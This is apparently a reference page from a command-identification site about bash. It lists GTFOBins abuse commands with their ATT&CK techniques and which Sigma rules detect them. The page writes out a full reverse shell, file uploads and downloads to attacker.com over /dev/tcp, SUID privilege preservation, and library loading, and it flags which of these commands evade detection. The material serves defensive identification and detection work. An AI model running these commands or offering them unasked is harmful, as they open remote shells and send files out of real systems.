Identifier / Programs / Linux and Unix
bash
Bourne-Again SHell, an sh-compatible command-line interpreter. tldr-pages
GTFOBins download, file-read, file-write, library-load, reverse-shell, upload 15 Sigma rules name it 2 ATT&CK techniques 11 documented commands
How bash is abused
download T1105 Ingress Tool Transfer
-cfile-read
-cfile-write
-clibrary-load
-c-fupload
-c-eupload
-c-nEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for bash.
11 documented commands
download unprivileged, with sudo, as SUID
bash -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/attacker.com/12345 \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'IdentifyAs SUID:
bash -p -c '{ echo -ne "GET /path/to/input-file HTTP/1.0\r\nhost: attacker.com\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/attacker.com/12345 \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } >/path/to/output-file'
Trips no Sigma process-creation rule.
download unprivileged, with sudo, as SUID
bash -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'IdentifyAs SUID:
bash -p -c 'echo "$(</dev/tcp/attacker.com/12345) >/path/to/output-file'
Trips no Sigma process-creation rule.
file-read unprivileged, with sudo, as SUID
bash -c 'echo "$(</path/to/input-file)"'IdentifyAs SUID:
bash -p -c 'echo "$(</path/to/input-file)"'
Trips no Sigma process-creation rule.
file-read unprivileged, with sudo, as SUID
This only works interactively from an existing bash session.
HISTTIMEFORMAT=$'\r\e[K'
history -c
history -r /path/to/input-file
historyfile-write unprivileged, with sudo, as SUID
bash -c 'echo DATA >/path/to/output-file'IdentifyAs SUID:
bash -p -c 'echo DATA >/path/to/output-file'
Trips no Sigma process-creation rule.
file-write unprivileged, with sudo, as SUID
This only works interactively from an existing bash session. It adds timestamps to the output file.
HISTIGNORE='history *'
history -c
DATA
history -w /path/to/output-filelibrary-load unprivileged, with sudo, as SUID
bash -c 'enable -f /path/to/lib.so x'IdentifyAs SUID:
bash -p -c 'enable -f /path/to/lib.so x'
Trips no Sigma process-creation rule.
reverse-shell unprivileged, with sudo, as SUID
bash -c 'exec bash -i &>/dev/tcp/attacker.com/12345 <&1'IdentifyAs SUID:
bash -p -c 'exec bash -p -i &>/dev/tcp/attacker.com/12345 <&1'
Trips 1 Sigma rule: lowBash Interactive Shell by @d4ns4n_
shell unprivileged, with sudo, as SUID
bashIdentifyAs SUID:
bash -p
Trips no Sigma process-creation rule.
upload unprivileged, with sudo, as SUID
bash -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'IdentifyAs SUID:
bash -p -c 'echo -e "POST / HTTP/0.9\n\n$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Trips no Sigma process-creation rule.
upload unprivileged, with sudo, as SUID
bash -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'IdentifyAs SUID:
bash -p -c 'echo -n "$(</path/to/input-file)" >/dev/tcp/attacker.com/12345'
Trips no Sigma process-creation rule.
1 of the 9 commands the identifier reads trips a Sigma process-creation rule; 8 trip none. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for bash. The identifier reads the line of each that runs bash.
What detects it
Everyday use
Start an interactive shell session
bashIdentifyStart an interactive shell session without loading startup configs
bash --norcIdentifyExecute specific commands
bash -c "echo 'bash is executed'"IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.